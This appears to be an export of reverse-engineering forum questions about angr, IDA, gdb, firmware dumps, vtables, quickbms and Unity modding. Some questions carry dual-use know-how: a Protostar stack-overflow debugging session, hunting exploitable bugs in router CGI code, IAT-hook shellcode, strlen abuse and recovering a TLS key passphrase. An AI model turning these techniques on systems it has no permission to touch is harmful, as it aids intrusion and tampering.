+ +In my current knowledge of angr, this should result in the path, wich leads to ""Done!"" being printed. Am I mistaken? With found[0] I could then access the result. +But angr leaves me with + +
<SimulationManager with 1 deadended>
+
+ +as an output for my simulation manager. What am I doing wrong? Are there more requirements needed for this to work? + +Apriciate any help. + +Cheers +" +"['ida', 'x86', 'elf']"," Title: Why is IDA showing three arguments for the main function instead of two in some linux binaries?Body: So I am reversing an ELF‌ binary, now from my knowledge in C the main function has two argument, argc and argv + +but some linux binaries that i am reversing have 3 when i decompile them! one int and the other two are char**, i assume the second is the argv but what is the last one? + +one example is this binary for a CTF‌:‌ + +https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/reverse/challenge-000-50 +" +"['binary-analysis', 'gdb']"," Title: gdb shows that EBP contains a value other than some address(which is what it is supposed to contain). How is this possible?Body: I am fairly new to RE and Binary Exploitation, I have learned basic assembly instructions for Binary Exploitation and I was doing Protostar exercises (stack0) in which I have to simply overflow the buffer variable. Disassembly of main function is:- + +
(gdb) disas main
+Dump of assembler code for function main:
+0x080483f4 <main+0>:    push   ebp
+0x080483f5 <main+1>:    mov    ebp,esp
+0x080483f7 <main+3>:    and    esp,0xfffffff0
+0x080483fa <main+6>:    sub    esp,0x60
+0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
+0x08048405 <main+17>:   lea    eax,[esp+0x1c]
+0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
+0x0804840c <main+24>:   call   0x804830c <gets@plt>
+0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
+0x08048415 <main+33>:   test   eax,eax
+0x08048417 <main+35>:   je     0x8048427 <main+51>
+0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
+0x08048420 <main+44>:   call   0x804832c <puts@plt>
+0x08048425 <main+49>:   jmp    0x8048433 <main+63>
+0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
+0x0804842e <main+58>:   call   0x804832c <puts@plt>
+0x08048433 <main+63>:   leave  
+0x08048434 <main+64>:   ret    
+End of assembler dump.
+
+ +I set a break point on ret instruction and run the program but when I examine the stack in gdb, it shows this output(overflow after 90 A's): + +
(gdb) info registers
+eax            0x29 41
+ecx            0xb7fd84c0   -1208122176
+edx            0xb7fd9340   -1208118464
+ebx            0xb7fd7ff4   -1208123404
+esp            0xbffff7bc   0xbffff7bc
+ebp            0x41414141   0x41414141
+esi            0x0  0
+edi            0x0  0
+eip            0x8048434    0x8048434 <main+64>
+eflags         0x200246 [ PF ZF IF ID ]
+cs             0x73 115
+ss             0x7b 123
+ds             0x7b 123
+es             0x7b 123
+fs             0x0  0
+gs             0x33 51
+
+ +When looking at ebp I am really curious to know that what happened that caused ebp to have value 0x41414141? What I understand is when leave isntruction is executed stack frame is destroyed and x/x $esp is 0x41414141 which makes sense and x/x $ebp is Cannot access memory at address 0x41414141 +so how does value of ebp changed to 0x41414141? + +PS: I already solved that exercise but while examining the stack I was not getting how ebp got changed and feel free to edit the question tag because I am not sure what tag will be appropriate. +" +['firmware']," Title: Dumping USB firmwareBody: How do I dump the firmware of a USB stick? What are the steps and what tools do I need? + +I understand that I may have to take the USB stick apart. +" +"['ida', 'gdb', 'javascript', 'protocol']"," Title: What's wrong with my mitm to support rr commands with gdbserver on IDA?Body: First of here is the gdb remote protocol doc. + +The idea of the below script is the following - you enter an actual command (one that will be send as a direct packet see packets) in the gdb window then when you continue the process my command will be executed instead of the IDA vCont;s:1 or vCont;c. This so the IDA recognize the actual changes you have introduced by executing your command. Simply responding with ""OK"" after the qRcmd will not work for lets say stepping back because IDA wouldn't ask for new register values. + +I launch rr with rr replay -s 50505 -k, I attach with IDA to localhost:23946. Here is my mitm code (in node.js): + +
const net=require(""net"")
+const process = require('process');
+
+net.createServer(server => {
+    const client = new net.Socket()
+
+    let lastcommand, response
+    client.connect(50505, ""localhost"")
+
+/**
+ * @param {Buffer} string
+ */
+    function createResponse(string)
+    {
+        string = string.slice(0, string.length - 1)
+
+        let checksum = 0 
+        for(const a of string) checksum += a
+        checksum %= 256
+        return ""$""+string.toString()+""#""+checksum.toString(0x10)
+    }    
+
+    client.on(""data"", handler = data => {
+        let string = data.toString()
+
+        console.log(string),
+        server.write(string)
+    })
+
+    server.on(""data"", handlerserver = async data => {
+        let string = data.toString()
+
+        console.log(string)
+
+        let cmd
+
+        if((cmd = string.replace(/^\$qRcmd,([a-f0-9]+)#/, (_, substring) => substring)) != string){
+            lastcommand = string = createResponse(Buffer.from(cmd, ""hex""))
+            const innerresponse = createResponse(Buffer.from(""OK\n""))
+            console.log(innerresponse)
+            server.write(innerresponse)
+
+            response = lastcommand
+
+
+            return
+        }
+        else if(string.search(/^\$vCont;c#a8/) != -1 || string.search(/^\$vCont;s:1#23/) != -1) return console.log(response),
+            client.write(response)//, response = undefined
+        client.write(string)
+    })
+}).listen(23946, ""localhost"")
+
+ +Basically what's not working is that when i enter bs (step backwards one instruction packet) in the gdb monitor then press continue it'll step backwards twice the first time and on the second it'll run back to the beginning of the program. +" +"['debugging', 'radare2']"," Title: Add disassembly comment at rip in radare2Body: When in visual mode (command v) in radare, in the disassembly panel, I can press ; to add a comment at the location I am current seeked to (which is the top instruction in the disassembly view). I usually step through the software and would like to add comments at the current instruction pointer (rip) location. + +Is there a key for that? Can I define one or redefine the ; key? +" +"['ida', 'windows', 'functions', 'register']"," Title: Call function by ebpBody: When I looking at exe file with Ida I see + +call dword ptr [ebp -70p] + +What is that? Why this function calling by ebp and not call sub_0xabcd + +How can I know which function is that to enter to this function and see what happen there? +" +"['ida', 'binary-analysis', '.net', 'automation']"," Title: Is there a way to see 'imports' in a .NET binary?Body: Programs such as Detect It Easy or IDA can show functions and libraries (DLLs) imported by a binary in the case of C/C++ binaries. I have a collection of .NET malware that I'm analyzing and would like to see the imported functions and DLLs for these binaries. I've noticed that _CorExeMain is the only thing that I can see in the imports section with tools such as IDA for such binaries. I'm aware that I can decompile the .NET binary in a tool like dnSpy and manually read the function calls but I would like an automated and fast of doing this such as the imports section in IDA. + +Is there a way to see functions imported from dynamic libraries for .NET binaries? +" +"['android', 'elf']"," Title: How to use x64-86 elf file from an apk file in a linux machine?Body: I'm building a jar file that use jni to load an x86-64 elf extracted from Android apk file. But when I run my app, it throw this exception: + +Caused by: java.lang.UnsatisfiedLinkError: /lib/x86_64-linux-gnu/libc.so: version `LIBC' not found (required by /tmp/jna-1195364489/jna8496397495292865633.tmp) + +So look like the libc.so version on my machine is not compatible with such elf file. I understand that Android app use bionic instead of glibc. How can I install these bionic *.so file into my Ubuntu linux so it can be used with such jar app? +" +['unpacking']," Title: How to extract an unknown archive files? (umd ""I am alive"" PC)Body: I'm trying to extract game files which contains textures, meshes etc. I wanted to see how hard would it be to make a texture mod. I just have knowledge on editing graphics from school and youtube tutorials and I'm really lazy and give up on something really fast but I thought if I could work on this game from the very beginning, having a whole structure of files which I could make sense of (not like with ninjaripper) maybe I could motivate myself to do this. I tried to use quickbms script and some tools from xentax and zenhax forums but quickbms gave me and error and the tool did nothing. I'm a total beginner to reverse engineering as I've only touched it because I didn't have much to do.
+ I've got the header of the file which is EPCK, then the next line I guess is unpacked file size (based on offzip scan seeing almost all files with size of 131072) I have the offset refering to first file in the archive? which is 29, and I have a part which is the beginning of each file? which is "".x"" or ""x"". I've tried to understand quickbms script to see if I could make something of it and what was the reason that I got an error but even though I understood that it makes array which stores the offset I couldn't understand the reason behind the error. So long story short I need help with next steps to unpacking the file. I'd like to understand it completely from the beginning so I could help other beginners or so I could just stop asking for help. I guess it'll be really hard to understand for me since this archive is probably encrypted. Quickbms script gives an error on line 42.
+Script: https://drive.google.com/open?id=1C1cGRsaY4Kx9xgL4Ov-VYA61wNTqtzC0
+File: https://drive.google.com/open?id=1l2eWZmBwxRe6RraLWQRWBTfkz8zW-PRL + +
idstring ""EPCK""
+get DUMMY long
+get UNPACKED_SIZE long
+get OFFSET long
+goto OFFSET
+get XSIZE long
+get SIZE long
+get ZSIZE long
+savepos OFFSET
+#clog MEMORY_FILE OFFSET ZSIZE SIZE  # unused? zlib compression
+math OFFSET += XSIZE
+goto OFFSET
+
+endian big
+comtype xmemdecompress
+
+get EPCK_SIZE asize
+putvarchr MEMORY_FILE UNPACKED_SIZE 0
+log MEMORY_FILE 0 0
+append
+for OFFSET = OFFSET < EPCK_SIZE
+    math NEXT_OFFSET = OFFSET
+    math SIZE = 0
+    for STOP = 0 == 0
+        goto NEXT_OFFSET
+        get CHUNK_ZSIZE byte
+        if CHUNK_ZSIZE == 0xFF
+            get CHUNK_SIZE short
+            get CHUNK_ZSIZE short
+            math STOP = 1
+        else
+            goto NEXT_OFFSET
+            get CHUNK_ZSIZE short
+            math CHUNK_SIZE = 0x8000
+        endif
+        math SIZE += CHUNK_SIZE
+        savepos NEXT_OFFSET
+        math NEXT_OFFSET += CHUNK_ZSIZE
+    next
+    math NEXT_OFFSET += 5
+    xmath ZSIZE ""NEXT_OFFSET - OFFSET""
+    clog MEMORY_FILE OFFSET ZSIZE SIZE
+    math OFFSET = NEXT_OFFSET
+next
+append
+
+set NAME string ""dump_scc_data.bin""
+get SIZE asize MEMORY_FILE
+goto 0 MEMORY_FILE
+findloc OFFSET binary ""\0\0\0\0\0\0\0\0"" MEMORY_FILE """" 
+if OFFSET == """"
+    log NAME 0 SIZE MEMORY_FILE
+else
+    math OFFSET x= 0x10000
+    log MEMORY_FILE2 0 OFFSET MEMORY_FILE
+    append
+    filexor 0xb7
+    xmath TMP ""SIZE - OFFSET""
+    log MEMORY_FILE2 OFFSET TMP MEMORY_FILE
+    append
+    filexor """"
+    log NAME 0 SIZE MEMORY_FILE2
+endif
+
+ + + +" +"['firmware', 'entry-point']"," Title: Identifying ROM segment in unknown firmware update fileBody: I am working on reversing a firmware update from a FujiFilm FinePix S1800 camera. So far I have managed to identify the instruction set (ARCompact) and dump a few things from the camera using the hidden service menu, one of which is called ""BOOTCODE"". + +The firmware update is not encrypted but has a couple of headers that I need to strip off. + +
00000000  52 48 49 52 01 10 07 01  00 06 05 00 01 00 a4 01  |RHIR............|
+00000010  01 00 00 00 01 00 dc 14  00 80 04 00 5a 04 aa a1  |............Z...|
+00000020  01 00 00 00 dd 14 31 07  00 80 2e 00 8a 60 7c 91  |......1......`|.|
+00000030  00 00 00 00 0e 1c 4c 05  00 00 43 00 cd 37 11 ea  |......L...C..7..|
+00000040  01 00 00 00 5a 21 21 00  00 a0 4d 00 f9 64 e2 8a  |....Z!!...M..d..|
+00000050  00 00 00 00 7b 21 a6 02  00 a0 4d 00 3f d3 06 86  |....{!....M.?...|
+00000060  00 00 00 00 22 24 34 00  00 a0 4d 00 3b 3c 2a 80  |....""$4...M.;<*.|
+00000070  02 00 00 00 20 b4 04 00  00 00 00 00 00 00 00 00  |.... ...........|
+00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+*
+000001f0  4b 48 49 52 80 9b fc 28  7f 64 03 d7 04 00 2f 01  |KHIR...(.d..../.|
+00000200  f1 c0 3a 09 e1 27 30 d0  fa 0f 81 33 d1 c0 e0 7e  |..:..'0....3...~|
+00000210  f1 c0 c6 0d 01 29 fc 1c  c8 b6 2c d0 00 88 0a 23  |.....)....,....#|
+00000220  00 37 80 e0 b8 08 02 00  26 0c 61 2a 00 dd 08 77  |.7......&.a*...w|
+00000230  02 b8 07 e0 84 20 3f 0f  2a 0c 61 2a 02 24 1c 30  |..... ?.*.a*.$.0|
+00000240  8b 70 1a 70 17 f0 0e 0c  61 2a a9 70 8e 0e e1 26  |.p.p....a*.p...&|
+00000250  3a 70 04 e0 84 20 3f 0f  0a 0c 61 2a 02 24 1c 30  |:p... ?...a*.$.0|
+00000260  8b 76 c9 70 0a 0f e1 26  2a 71 15 20 4c 23 c0 a4  |.v.p...&*q. L#..|
+00000270  01 e5 d7 0d c2 93 00 d9  15 20 cc 23 20 a4 64 d9  |......... .# .d.|
+00000280  12 d0 22 a0 e9 70 5e 0c  a0 01 0a 71 42 0d 81 27  |..""..p^....qB..'|
+
+ +The BOOTCODE.DMP starts out with the same instructions located at 0x3620-0x36A0, so this might be one of the entry points. + +The problem is, I am not sure where the headers finish and the ROM starts. I have tried to brute force the header format and so far have come up with nothing. Short of obtaining a TSOP programmer I have no other method of which to obtain a clean ROM dump of the device. + +In short, I am looking for help in two things: + + + +Update (2019-11-16 18:28) + +It seems the firmware dump of the boot code is prefixed by 16 bytes, the first four of which seem to denote the base address. + +Update (2019-11-16 19:30) + +Further analysis shows that the ROM may start at 0x200 as this de-compiles into the following with a guessed (but incorect) base address. Code that calls this address is also valid. + +
                 push    blink
+                 bl.d    sub_F015C518
+                 ld      r0, [unk_EFF0CCA4]
+                 bl      sub_F01743E0
+                 pop     blink
+                 j       [blink]
+
+" +"['ida', 'debugging', 'tracing']"," Title: IDA - How can I get a list of differing instructions from 2 recorded instruction traces?Body: I have 2 recorded IDA pro instruction traces, how can I get a list of differing instructions? + +I am able to load the diffs as overlays but there are a large amount of instructions recorded that are mostly the same so being able to get a short-list of the different instructions would save a lot of time. + +Thank you. +" +"['disassembly', 'assembly', 'c++', 'arm', 'vtables']"," Title: Strange vtable setup in constructor disassemblyBody: In a program I'm trying to recover data structures I've discovered the following strange (ARM) disassembly code: + + + +
ctor_1:
+    ldr  r1, =vtable_base
+    str  r1, [r0]             ;r0 always contains object instance ptr
+    ;... more setup
+    bx   lr
+
+ctor_2:
+    push {r4,lr}
+    mov  r4, r0
+    bl   ctor_1
+    ldr  r1, =vtable_derived
+    str  r1, [r0]             ;vtable override in derived class
+    add  r0, r0, #0x20
+    bl   obj_ctor             ;calls an object's ctor at r0+0x20
+    ldr  r1, =vtable_derived_so
+    str  r1, [r0, 0x20]       ;overrides object vtable
+    ;...
+    pop  {r4,lr}
+    bx   lr
+
+ +So far it looks all fine. There seems to be a derived class overriding the vptr after the base class ctor has been called. An internal subobject is first initialized in obj_ctor and then the vtable is set to a derived subobject. The first strange thing is why ctor_2 doesn't directly call the subobject's derived ctor which in turn sets up first the base subobject. I suppose this happened because the call has been inlined by the compiler. + +However, things get spicy when the whole object is again subclassed: + + + +
ctor_3:
+    push {r4,lr}
+    mov  r4, r0
+    bl   ctor_2
+    ldr  r1, =vtable_derived2
+    ldr  r2, =vtable_derived2_so
+    str  r1, [r0]           ;vtable to the new subclass
+    str  r2, [r0, 0x20]     ;what??
+    ;...
+    pop  {r4,lr}
+    bx   lr
+
+ +I have absolutely no idea how this is possible. How can a subclass 'change' a member type (which is definitely not even a pointer) which has already been setup in a superclass? It is confirmed that ctor_2 and ctor_3 create both valid opaque objects. + +Do I misunderstand how vtables work in disassembly? Could a compiler generate such code from valid C++? + +I don't know if that's important, but the symbols ctor_2 and the ctor_2 called from ctor_3 are actually different albeit executing the exact same code (maybe because of different ctors?). + +EDIT: + +This is how the destructors look like: + + + +
dtor_1:
+    push {r4, lr}
+    ldr  r1, =vtable_base
+    str  r1, [r0]                      ;why overwrite the vtable with the same value?
+    ;...calls to delete for heap objects
+    pop  {r4, lr}
+    bx   lr
+
+dtor_2:
+    push {r4, lr}
+    mov  r4, r0
+    ldr  r1, =vtable_derived
+    ldr  r2, =vtable_derived_so
+    str  r1, [r0]
+    str  r2, [r0, #0x20]
+    add  r0, r0, #0x20
+    bl   dtor_base_so
+    mov  r0, r4
+    bl   dtor_1
+    pop  {r4, lr}
+    bx   lr
+
+dtor_3:
+    push {r4, lr}
+    mov  r4, r0
+    ldr  r1, =vtable_derived2
+    ldr  r2, =vtable_derived2_so
+    str  r1, [r0]
+    str  r2, [r0, #0x20]
+    ;...
+    bl   dtor_2
+    pop  {r4, lr}
+    bx   lr
+
+ +As you can see, the vtables are overwritten with the same value. There is no call to dtor_derived2_so, so the vtable overwrite seems unneccesary. Even more interesting is that when the subobject should be destructed, there's always a call to dtor_base_so and not dtor_derived_so. I checked the vtables of derived_so and derived2_so and they have the following two destructors: + + + +
dtor_derived_so:
+    ldr  r12, =0xFFFFFFE0              ;-0x20
+    add  r0, r0, r12
+    b    dtor_2
+
+dtor_derived2_so:
+    ldr  r12, =0xFFFFFFE0              ;-0x20
+    add  r0, r0, r12
+    b    dtor_3
+
+ +When they're called they call immediately the corresponding dtor. Since they reference fixed locations at which the object should be destroyed, the subobjects seem to only exist inside derived2's class. What is going on here? Why would one force the object's destruction if a subobject is destroyed? Or do we have here a special case of virtual inheritance? + +Here are the vtables: + + + +
vtable_base:
+    dcd  0x82016D20          ;dtor_1
+    dcd  0x82016CE0          ;dtor_1 (destruct and free)
+    dcd  0x82016BF8
+    dcd  0x82016C98
+    dcd  0x82016BB8
+    dcd  0x82016B78
+vtable_derived:
+    dcd  0x8201691C          ;dtor_2
+    dcd  0x820168D8          ;dtor_2 (destruct and free)
+    dcd  0x82016BF8
+    dcd  0x8201686C
+    dcd  0x8201682C
+    dcd  0x820167F8
+    dcd  0x820167C4
+vtable_derived2:
+    dcd  0x82016364          ;dtor_3
+    dcd  0x82016320          ;dtor_3 (destruct and free)
+    dcd  0x82016BF8
+    dcd  0x8201686C
+    dcd  0x8201682C
+    dcd  0x820167F8
+    dcd  0x820167C4
+vtable_base_so:
+    dcd  0x82015CE8          ;dtor_base_so
+    dcd  0x82015CC4          ;dtor_base_so (destruct and free)
+vtable_derived_so:
+    dcd  0x82017178          ;dtor_derived_so
+    dcd  0x82017168          ;dtor_derived_so (destruct and free)
+vtable_derived2_so:
+    dcd  0x820171B8          ;dtor_derived2_so
+    dcd  0x820171A8          ;dtor_derived2_so (destruct and free)
+
+" +"['embedded', 'mips', 'ghidra', 'vulnerability-analysis']"," Title: MIPS Router FirmwareBody: I'm pretty new to the whole reverse-engineering thing, but have some background knowledge in x86 asm and comp sci, as well as computer security. + +Project-based learning has always worked well for me, so I'm trying to audit a mipsel router. I've done the higher-level stuff such as vulnerable services, bad configurations, etc., but am trying to learn reverse engineering and exploitation. I've been using Ghidra to disassemble and decompile the firmware, as it seemed to be by far the best in terms of decompilation for this architecture. I'm mostly new to reverse engineering, and am struggling to find any possible vulnerabilities in the cgi-bin web interface. I know this is a bit of a specialized area, so I'm looking for resources, but am struggling to find a ton on this specific domain. Any resources on for which functions I should look, specific patterns that present issues, etc.? I've got some obvious guesses (e.g. memcpy), but can't find much of a formal reference. Devttys0 blog has been helpful (for instance this post: http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/), but there doesn't seem to be a ton of info on how to find the vulnerable functions. There are lots of nice analysis plugins for x86 and even arm, but mips doesn't have as much fancy tooling. + +Any help is appreciated; apologies if I didn't provide enough information, I will be happy to add more as needed. Please let me know if you have thoughts, resources, or advice I can consult. I appreciate your time. +" +"['binary-analysis', 'firmware', 'hardware', 'deobfuscation', 'embedded']"," Title: Reversing a key-gen firmware for RISC-VBody: I would like to study this firmware for Sipeed MAix, a RISC-V development board. You can download it here: key_gen_v1.2.zip. As the name suggests, its purpose is to + +
    +
  1. calculate and print a ""machine key"" to the serial port,
  2. +
  3. close JTAG port forever, and
  4. +
  5. write one-off AES key.
  6. +
+ +The machine key is required when downloading other demo firmware, reversing which is NOT the primary target of this post. For more context, see this thread. The point of the reversing is to figure out how to get the machine key without disabling JTAG permanently. + +A quick analysis by binwalk yields nothing interesting. + +
$ binwalk -e key_gen_v1.2.bin
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+
+ +Entropy analysis suggests that the firmware uses no obfuscation + + + +Here is the output of strings + +
sP00sP 0sP@0sP@4
+&#41'#0A'#<Q%#8a%#4q%#0
+$#8A##4Q##0a##8
+""#0!##<1!#8A!#<
+$#8A##4Q##0a##8
+                0000000000000000
+0123456789abcdef
+0123456789ABCDEF
+                0000000000000000
+                0000000000000000C
+                0000000000000000
+         (((((
+V (%lu) %s: misaligned load recovered at %08lx. len:%02d,addr:%08lx,reg:%02d,data:%016lx,signed:%1d,float:%1d
+V (%lu) %s: misaligned store recovered at %08lx. len:%02d,addr:%08lx,reg:%02d,data:%016lx,float:%1d
+[0;31mE (%lu) %s: Out of memory
+[0;33mW (%lu) %s: sys_exit called by core %ld with 0x%lx
+[0;31mE (%lu) %s: Unsupported syscall %ld: a0=%lx, a1=%lx, a2=%lx!
+?Error:  No workable settings found.
+Error:  No appropriate ratio found.
+
+ +In Reversing the WRT120N’s Firmware Obfuscation, the breakthrough was made by observing the output on the serial port. However, this particular firmware doesn't output much useful information to the serial port. In addition, I have yet find a decent disassembler for RISC-V (like IDA for ARM). + +What can I do next? +" +"['disassembly', 'c++', 'c', 'exploit', 'strings']"," Title: Abusing the strlen outputBody: My question is related to the strlen function from the C and C++. + +I am reversing a program, that reads a byte data from allocated memory and sends to the strlen directly. To be completely honest this data is the hash value, so bytes could vary from 00 to FF. + +I have found out that I can abuse this function with zero bytes to make strlen outputting less value than it should (as an example the string is 10 bytes long, but strlen output is 6). + +Is there any way to abuse the function with any byte data inputted to strlen to output a bigger value(lets say 14)? + +Thank you. +" +"['ida', 'dynamic-analysis', 'networking']"," Title: Break when exe send tcp packetBody: When I debug exe file with Ida I want to put breakpoint before the exe file send tcp packet. + +When I listen with procmon I can see that this exe send and recive tcp packet. + +1) I look on the exe file import tab, and put break point at send function , but that not stop . + +2) I looking at the line at procmon when I see tcp send in stack tab , and see + +frame 0 ,module ntoskml.exe , Location CcMdlWriteAbout + 0x.... +frame 1 ,module tcpip.sys , Location tcpip.sys + 0x.... +frame 2 ,module tcpip.sys , Location tcpip.sys + 0x.... + +and etc.. + +How can I find the punction in exe file that send tcp packet , I want to put break point there . +" +"['decompilation', 'game-hacking']"," Title: Deconstructing Unity gamesBody: Note: I only want to edit/mod the games not trying to steal things etc. + +
+ +I'm trying to deconstruct some Unity games from both PC and Android platforms and already extracted assets with uTinyRipper successfully, but having the some issues at the script part. + +What exactly should i do to export scripts correctly from a compiled Unity game to editor? + +
+ +Firstly I deobfuscate everything in data\managed with de4dot + +Secondly I extract the code from these .dlls with dnSpy + +Then I import all the .cs files to Unity editor + +After that, Unity gives hundreds/thousands of errors, when i fix all of them, it gives another hundreds of errors. So it doesn't stop giving more errors. +" +"['assembly', 'ollydbg']"," Title: OllyDbg: Constant does not fit into operandBody: I'm trying to assemble this instruction: + +I'm not being able to do it.. +When I test with MOV AX,55000 I get this error: + +I tested before in Cheat Engine, and this is working as AOB injection: MOV AX,#55000 +So if I test with the same syntax, ollydbg can't recognize it: + +I don't know how to assemble that instruction correctly: +MOV AX,55000 instead of MOV AX,WORD PTR DS:[EBX+A4] +In Cheat Engine it's working perfectly. +" +"['assembly', 'pe32']"," Title: jmp to 4 byte address in shellcodeBody: I'm playing around with the PE header and the Import Address Table. I wrote a dummy program that calls MessageBoxA with some retard parameters. After successfully replacing the MessageBoxA function address with an address inside a cave with PAGE_EXECUTE_READWRITE access, I tried running the program. The shellcode is just messing with the pushed arguments and afterwards it's jumping to the original MessageBoxA function address. + +If the address is 75FD0CD0 then the Little Endian representation would be D00CFD75, right? + +After running it and the program successfully calling the code inside the cave, it would crash. I opened Cheat Engine to compare the values. The instruction that was supposed to jump to the MessageBoxA function was showing a jump to a different function. After opening the edit option, the instruction was: jmp 76552F20 instead of jmp 75FD0CD0. I edited that and put the correct address inside and the bytes that were written were 80EAA475 which was somehow pointing to the MessageBoxA function. + +How did Cheat Engine get 80EAA475 from 75FD0CD0? +" +"['static-analysis', 'dump']"," Title: static core dump analysisBody: I got a coredump from an unknow binary. I want to retrieve as many information as possible (memory, register, contexte..) + +Most of the answers available on the web speak about coredump analysis using the binary that produce it. + +I'm looking for a tool able to retrieve some information or a specification/standard about how is a coredump mapped (to do my own tool). +" +['file-format']," Title: Extracting Archive-Like file format analysis that does not seem to match known formatsBody: Good afternoon, + +I am looking to try me skills at extracting some data from a proprietary format. I have made some progress but I wanted to contact the experts to see if I could gain some insights. The format in question is the '.clip' format created by the software 'clip studio paint'. Specifically this is a raster graphics editor (Photoshop-like) which I would like to get the image data from. There should, in the most basic usage, be a bunch of layers, each being an image. (For raster graphics, not vector) + +The format seems to be not encrypted or compressed, but rather split up in some kind of archive format. All regular archive tools I have tried can't make any sense of it (zip, tar, etc). It might be an archive format more common to windows which I am not as familiar with. + +Manually parsing the file with python I was able to find a raw sequence near the end which is in sqlite3 format. I was able to extract this and read the tables which contain the majority of the metadata. Unfortunately this does not shed much light on a way to extract the image data. I was able to split on a few delimiters I found in the file but still I would not find any image algorithm which was able to make sense of the delimited parts. + +Outer delimiters in the file seem to look like: + +b'CHNKHead' + b'CHNKFoot' + b'CHNKExta' + b'CHNKSQL' + +And there are also many inner delimiters in some of these chunks like: + +b'B\x00l\x00o\x00c\x00k\x00D\x00a\x00t\x00a\x00B\x00e\x00g\x00i\x00n\x00C\x00h\x00u\x00n\x00k' +b'B\x00l\x00o\x00c\x00k\x00D\x00a\x00t\x00a\x00E\x00n\x00d\x00C\x00h\x00u\x00n\x00k' + +(I am guessing the special null byte separation to reduce the chance that this sequence matches other binary data?) + +Anyway I am attaching my little python split and save script and the sample CSP file I am trying to read, incase anyone was interested in taking a look. http://s000.tinyupload.com/index.php?file_id=04264848249049623399 +" +['dos']," Title: Trying to view sprites from an old gameBody: I am looking to decompile the sprite data from an old DOS Game (Treasure Cove). If it helps any, I found that the game was written with the Borland C++ Programming Language. + +It appears that the sprites are located in TLD files, though I am incapable of confirming or denying that. If my theory is correct, are there any programs capable of opening TLD files? + + + +What do you suggest I do with this information? It's in Borland C++, and I want to find a method of extracting it. + +This file seems to contain Bitmap signatures. I looked for GIF signatures, and found nothing. +" +"['windows', 'decompilation', 'executable', 'openssl']"," Title: Finding PEM passphrase that may be in an executable?Body: I'm trying to capture the TLSv1.2 traffic of an application. In the applications directory is the file cacert.pem that I assume holds the cert for decrypting the TLS traffic. I tried to load it into Wireshark as an RSA cert but it requested a passphrase to decrypt the key. Of course I don't have the passphrase but surely the application must know it somehow and I couldn't find the passphrase in any configuration files so I figure it must be in the main executable or possibly in a dll. + +The program uses libcurl.dll and libssl-1_1.dll, my plan is to disassemble the main executable and try to find a function call to the OpenSSL API (libssl-1_1.dll) and see if the passphrase is possibly referenced somewhere in it. + +If I were looking for a particular function that takes a passphrase to decrypt a PEM file what function would it be? And if anyone has any better ideas please let me know. I've never been this directly involved with SSL/TLS in applications, any time I've written a server/client application that used TLS it's been in Python using very high level methods. Thanks for any help. +" +"['firmware', 'arm', 'hardware', 'firmware-analysis', 'nec-78k0r']"," Title: Reversing a firmware update for an LG HTSBody: I'm trying to reverse a firmware update for an LG Home Theater BH7220, and I've hit a brick wall. + +This HTS has a main chip from LG referred to as ""BH7000:1165"" in the schematics. The chip has the markings ""D78F1165 1205EM406 MALAYSIA"" which led me to to believe its the μPD78F1165 from NEC / Renesas, at least the pin configuration matches in the datasheet and schematics. +Interestingly, the hardware manual shows that this chip has internal ROM but in this home theater it’s connected to an external EEPROM chip (ST M24C16, 16-Kbit).The update file is exactly 2KB in size so it matches the EEPROMs size. + +The file has a wired structure. It has some headers and the data is duplicated for some reason. + + +It has some strings + +
...
+0000c000  4c 6f 61 64 65 72 46 57  24 20 20 20 20 20 20 20  |LoaderFW$       |
+0000c010  4d 41 49 4e 00 16 80 00  00 00 00 00 00 09 30 00  |MAIN..........0.|
+0000c020  50 4f 57 43 00 01 00 00  02 00 00 00 00 00 04 00  |POWC............|
+0000c030  46 41 54 42 00 01 10 00  01 0f e0 00 00 00 20 00  |FATB.......... .|
+0000c040  50 41 52 4d 00 01 50 00  02 00 00 00 00 00 20 00  |PARM..P....... .|
+0000c050  42 4f 4f 54 00 00 00 00  00 00 00 00 00 00 10 00  |BOOT............|
+0000c060  53 48 49 46 00 1f b0 00  04 00 00 00 00 00 10 00  |SHIF............|
+0000c070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+...
+00010000  05 80 00 31 1f 00 00 00  4d 54 4b 20 38 35 35 30  |...1....MTK 8550|
+00010010  4a 56 30 33 39 30 20 20  20 20 20 20 38 35 35 30  |JV0390      8550|
+00010020  30 33 39 30 04 30 9f e5  03 30 8f e0 13 ff 2f e1  |0390.0...0..../.|
+...
+0008b410  06 06 41 62 6e 6f 72 6d  61 6c 20 74 65 72 6d 69  |..Abnormal termi|
+0008b420  6e 61 74 69 6f 6e 00 00  00 41 72 69 74 68 6d 65  |nation...Arithme|
+0008b430  74 69 63 20 65 78 63 65  70 74 69 6f 6e 3a 20 00  |tic exception: .|
+0008b440  49 6c 6c 65 67 61 6c 20  69 6e 73 74 72 75 63 74  |Illegal instruct|
+0008b450  69 6f 6e 00 00 00 00 49  6e 74 65 72 72 75 70 74  |ion....Interrupt|
+0008b460  20 72 65 63 65 69 76 65  64 00 00 00 00 00 49 6c  | received.....Il|
+0008b470  6c 65 67 61 6c 20 61 64  64 72 65 73 73 00 00 00  |legal address...|
+0008b480  00 00 00 00 00 54 65 72  6d 69 6e 61 74 69 6f 6e  |.....Termination|
+0008b490  20 72 65 71 75 65 73 74  00 00 00 00 53 74 61 63  | request....Stac|
+0008b4a0  6b 20 6f 76 65 72 66 6c  6f 77 00 00 00 00 00 00  |k overflow......|
+0008b4b0  00 00 00 52 65 64 69 72  65 63 74 3a 20 63 61 6e  |...Redirect: can|
+0008b4c0  27 74 20 6f 70 65 6e 3a  20 00 4f 75 74 20 6f 66  |'t open: .Out of|
+0008b4d0  20 68 65 61 70 20 6d 65  6d 6f 72 79 00 00 00 00  | heap memory....|
+0008b4e0  00 55 73 65 72 2d 64 65  66 69 6e 65 64 20 73 69  |.User-defined si|
+0008b4f0  67 6e 61 6c 20 31 00 00  55 73 65 72 2d 64 65 66  |gnal 1..User-def|
+0008b500  69 6e 65 64 20 73 69 67  6e 61 6c 20 32 00 00 50  |ined signal 2..P|
